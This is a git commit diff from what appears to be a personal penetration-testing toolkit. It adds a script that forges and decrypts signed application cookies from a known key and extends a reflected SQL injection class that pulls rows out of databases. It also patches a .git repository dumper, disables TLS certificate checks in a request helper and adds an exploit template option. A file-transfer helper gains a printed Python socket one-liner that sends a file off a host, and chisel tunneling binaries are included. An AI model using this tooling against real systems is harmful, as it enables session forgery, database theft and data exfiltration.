Update
This commit is contained in:
parent
12007c84c1
commit
78f91195f2
BIN
chisel
BIN
chisel
Binary file not shown.
BIN
chisel64
BIN
chisel64
Binary file not shown.
148
crypto_cookie.py
Normal file
148
crypto_cookie.py
Normal file
@ -0,0 +1,148 @@
|
||||
import base64
|
||||
import hashlib
|
||||
import hmac
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import urllib.parse
|
||||
from Crypto.Cipher import AES
|
||||
|
||||
def unpad(data):
|
||||
if not data:
|
||||
return data
|
||||
last_byte = data[-1]
|
||||
if last_byte < AES.block_size:
|
||||
data = data[0:-last_byte]
|
||||
return data
|
||||
|
||||
def pad(data):
|
||||
if not data:
|
||||
return data
|
||||
padding = AES.block_size - (len(data) % AES.block_size)
|
||||
if padding < AES.block_size:
|
||||
data = data + bytes([padding]) * padding
|
||||
return data
|
||||
|
||||
def generate_mac(APP_KEY, iv, data):
|
||||
return hmac.new(key=APP_KEY, msg=base64.b64encode(iv)+base64.b64encode(data), digestmod=hashlib.sha256)
|
||||
|
||||
def decrypt_cookie(APP_KEY, cookie):
|
||||
json_obj = json.loads(base64.b64decode(urllib.parse.unquote(cookie)).decode())
|
||||
iv = base64.b64decode(json_obj["iv"].encode())
|
||||
encrypted = base64.b64decode(json_obj["value"].encode())
|
||||
mac = generate_mac(APP_KEY, iv, encrypted)
|
||||
if mac.hexdigest() != json_obj["mac"]:
|
||||
print("[~] WARN: macs are not equal")
|
||||
|
||||
cipher = AES.new(APP_KEY, AES.MODE_CBC, iv)
|
||||
return unpad(cipher.decrypt(encrypted)).decode()
|
||||
|
||||
def create_cookie(APP_KEY, data):
|
||||
iv = os.urandom(AES.block_size)
|
||||
cipher = AES.new(APP_KEY, AES.MODE_CBC, iv)
|
||||
encrypted = cipher.encrypt(pad(json.dumps(data).encode()))
|
||||
mac = generate_mac(APP_KEY, iv, encrypted)
|
||||
|
||||
json_obj = {
|
||||
"iv": base64.b64encode(iv).decode(),
|
||||
"value": base64.b64encode(encrypted).decode(),
|
||||
"mac": mac.hexdigest()
|
||||
}
|
||||
|
||||
new_cookie = base64.b64encode(json.dumps(json_obj).encode()).decode()
|
||||
# new_cookie = urllib.parse.quote(new_cookie)
|
||||
return new_cookie
|
||||
|
||||
def hkdf_extract(salt, input_key_material, hash_name='sha256'):
|
||||
"""
|
||||
Extract a pseudorandom key from the input key material and salt using HMAC.
|
||||
|
||||
:param salt: The salt (bytes).
|
||||
:param input_key_material: The input key material (bytes).
|
||||
:param hash_name: The hash function to use (string).
|
||||
:return: The pseudorandom key (bytes).
|
||||
"""
|
||||
if salt is None or len(salt) == 0:
|
||||
salt = b'\x00' * hashlib.new(hash_name).digest_size
|
||||
|
||||
return hmac.new(salt, input_key_material, hash_name).digest()
|
||||
|
||||
def hkdf_expand(pseudorandom_key, info=b'', length=32, hash_name='sha256'):
|
||||
"""
|
||||
Expand the pseudorandom key into one or more keys using HMAC.
|
||||
|
||||
:param pseudorandom_key: The pseudorandom key (bytes).
|
||||
:param info: Optional context and application-specific information (bytes).
|
||||
:param length: The length of the output key material in bytes (int).
|
||||
:param hash_name: The hash function to use (string).
|
||||
:return: The output key material (bytes).
|
||||
"""
|
||||
hash_len = hashlib.new(hash_name).digest_size
|
||||
blocks_needed = (length + hash_len - 1) // hash_len
|
||||
okm = b''
|
||||
output_block = b''
|
||||
|
||||
for counter in range(blocks_needed):
|
||||
output_block = hmac.new(pseudorandom_key, output_block + info + bytes([counter + 1]), hash_name).digest()
|
||||
okm += output_block
|
||||
|
||||
return okm[:length]
|
||||
|
||||
def hkdf(input_key_material, salt, info=b'', length=32, hash_name='sha256'):
|
||||
"""
|
||||
Derive keys using HKDF (extract and expand stages).
|
||||
|
||||
:param input_key_material: The input key material (bytes).
|
||||
:param salt: The salt (bytes).
|
||||
:param info: Optional context and application-specific information (bytes).
|
||||
:param length: The length of the output key material in bytes (int).
|
||||
:param hash_name: The hash function to use (string).
|
||||
:return: The derived key (bytes).
|
||||
"""
|
||||
pseudorandom_key = hkdf_extract(salt, input_key_material, hash_name)
|
||||
return hkdf_expand(pseudorandom_key, info, length, hash_name)
|
||||
|
||||
def decrypt_cookie_prestashop(COOKIE_KEY, cookie):
|
||||
assert re.match(r"^[a-fA-F0-9]+$", COOKIE_KEY)
|
||||
assert re.match(r"^[a-fA-F0-9]+$", cookie)
|
||||
|
||||
# https://github.com/defuse/php-encryption/blob/master/src/Key.php
|
||||
KEY_CURRENT_VERSION = b"\xDE\xF0\x00\x00"
|
||||
HEADER_SIZE = len(KEY_CURRENT_VERSION)
|
||||
KEY_BYTE_SIZE = 32
|
||||
CHECKSUM_BYTE_SIZE = 32
|
||||
COOKIE_KEY = bytearray.fromhex(COOKIE_KEY)
|
||||
assert COOKIE_KEY.startswith(KEY_CURRENT_VERSION)
|
||||
assert len(COOKIE_KEY) == HEADER_SIZE + KEY_BYTE_SIZE + CHECKSUM_BYTE_SIZE
|
||||
real_cookie_key = COOKIE_KEY[HEADER_SIZE:HEADER_SIZE+KEY_BYTE_SIZE]
|
||||
cookie_signature_check = COOKIE_KEY[0:HEADER_SIZE+KEY_BYTE_SIZE]
|
||||
key_signature = COOKIE_KEY[HEADER_SIZE+KEY_BYTE_SIZE:]
|
||||
assert hashlib.sha256(cookie_signature_check).digest() == key_signature
|
||||
|
||||
# https://github.com/defuse/php-encryption/blob/master/src/Core.php
|
||||
CURRENT_VERSION = b"\xDE\xF5\x02\x00"
|
||||
HEADER_SIZE = len(CURRENT_VERSION)
|
||||
SALT_SIZE = 32
|
||||
IV_SIZE = 16
|
||||
HMAC_SIZE = 32
|
||||
cookie = bytearray.fromhex(cookie)
|
||||
assert cookie.startswith(CURRENT_VERSION)
|
||||
assert len(cookie) >= HEADER_SIZE + SALT_SIZE + IV_SIZE + HMAC_SIZE
|
||||
salt = cookie[HEADER_SIZE:HEADER_SIZE+SALT_SIZE]
|
||||
iv = cookie[HEADER_SIZE+SALT_SIZE:HEADER_SIZE+SALT_SIZE+IV_SIZE]
|
||||
ct = cookie[HEADER_SIZE+SALT_SIZE+IV_SIZE:-HMAC_SIZE]
|
||||
hmac_data = cookie[-HMAC_SIZE:]
|
||||
|
||||
PBKDF2_ITERATIONS = 100000
|
||||
ENCRYPTION_INFO_STRING = b'DefusePHP|V2|KeyForEncryption'
|
||||
AUTHENTICATION_INFO_STRING = b'DefusePHP|V2|KeyForAuthentication'
|
||||
|
||||
derived_key = hkdf(real_cookie_key, salt, ENCRYPTION_INFO_STRING, 32, "sha256")
|
||||
|
||||
cipher = AES.new(derived_key, AES.MODE_CTR, initial_value=iv, nonce=b"")
|
||||
plaintext = cipher.decrypt(ct).decode()
|
||||
|
||||
# TODO: check hmac_data
|
||||
|
||||
lines = plaintext.split("¤")
|
||||
return dict(map(lambda line: line.split("|"), lines))
|
@ -292,9 +292,14 @@ class FindObjectsWorker(DownloadWorker):
|
||||
with open(abspath, 'wb') as f:
|
||||
f.write(response.content)
|
||||
|
||||
try:
|
||||
# parse object file to find other objects
|
||||
obj_file = dulwich.objects.ShaFile.from_path(abspath)
|
||||
return get_referenced_sha1(obj_file)
|
||||
except:
|
||||
print("[-] Error parsing:", filepath)
|
||||
os.remove(abspath)
|
||||
return []
|
||||
|
||||
|
||||
def fetch_git(url, directory, jobs, retry, timeout, follow_redirects, module=".git"):
|
||||
|
@ -643,6 +643,7 @@ sub makeRequest {
|
||||
keep_alive => 1,
|
||||
timeout => 30,
|
||||
requests_redirectable => [],
|
||||
ssl_opts => { verify_hostname => 0, SSL_verify_mode => 0 },
|
||||
);
|
||||
|
||||
$req = new HTTP::Request $method => $url;
|
||||
|
11
sqli.py
11
sqli.py
@ -5,7 +5,8 @@ import string
|
||||
class SQLi(ABC):
|
||||
|
||||
@staticmethod
|
||||
def build_query(column: str, table=None, condition=None, offset=None):
|
||||
def build_query(column: str|list, table=None, condition=None, offset=None):
|
||||
column = column if isinstance(column, str) else ",".join(column)
|
||||
condition = "" if not condition else f" WHERE {condition}"
|
||||
offset = "" if offset is None else f" OFFSET {offset}"
|
||||
table = "" if not table else f" FROM {table}"
|
||||
@ -76,10 +77,9 @@ class ReflectedSQLi(SQLi, ABC):
|
||||
pass
|
||||
|
||||
def extract_int(self, column: str, table=None, condition=None, offset=None, verbose=False):
|
||||
query_columns = [column] + list(map(str, range(2, len(self.column_types) + 1)))
|
||||
return int(self.reflected_sqli(query_columns, table, condition, offset)[0])
|
||||
return int(self.extract_string(column, table, condition, offset))
|
||||
|
||||
def extract_string(self, column: str, table=None, condition=None, offset=None, verbose=False):
|
||||
def extract_string(self, column: list|str, table=None, condition=None, offset=None, verbose=False):
|
||||
if str not in self.column_types:
|
||||
print("[!] Reflectd SQL does not reflect string types, only:", self.column_types)
|
||||
return None
|
||||
@ -137,12 +137,13 @@ class ReflectedSQLi(SQLi, ABC):
|
||||
query_columns[offset] = column
|
||||
offset += 1
|
||||
|
||||
column_str = ",".join(query_columns)
|
||||
# todo: fix count(*) for distinct
|
||||
row_count = self.extract_int(f"COUNT(*)", table=table, condition=condition, verbose=verbose)
|
||||
if verbose:
|
||||
print(f"Fetching {row_count} rows")
|
||||
|
||||
rows = []
|
||||
column_str = ",".join(query_columns)
|
||||
for i in range(0, row_count):
|
||||
row = self.reflected_sqli(query_columns, table, condition, i, verbose=verbose)
|
||||
if one:
|
||||
|
@ -6,8 +6,13 @@ import urllib.parse
|
||||
|
||||
def generate_template(base_url, features):
|
||||
|
||||
ip_address = "util.get_address()"
|
||||
for feature in features:
|
||||
if feature.lower().startswith("ip_address="):
|
||||
ip_address = "'" + feature.split("=")[1] + "'"
|
||||
|
||||
variables = {
|
||||
"IP_ADDRESS": "util.get_address()",
|
||||
"IP_ADDRESS": ip_address,
|
||||
"BASE_URL": f'"{base_url}" if "LOCAL" not in sys.argv else "http://127.0.0.1:1337"',
|
||||
"PROXIES": json.dumps({"http":"http://127.0.0.1:8080", "https":"http://127.0.0.1:8080"})
|
||||
}
|
||||
|
@ -46,6 +46,7 @@ if __name__ == "__main__":
|
||||
|
||||
print("[+] Now listening, download file using:")
|
||||
print('nc %s %d > %s' % (address, listen_sock.getsockname()[1], os.path.basename(path)))
|
||||
print('python -c \'import socket;sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM,0);sock.connect(("%s",%d));sock.sendall(open("%s","rb").read())\'' % (address, listen_sock.getsockname()[1], os.path.basename(path)))
|
||||
print()
|
||||
|
||||
serve_file(listen_sock, path, forever=True)
|
||||
|
Binary file not shown.
File diff suppressed because one or more lines are too long
BIN
win/chisel.exe
BIN
win/chisel.exe
Binary file not shown.
BIN
win/chisel64.exe
BIN
win/chisel64.exe
Binary file not shown.
Loading…
Reference in New Issue
Block a user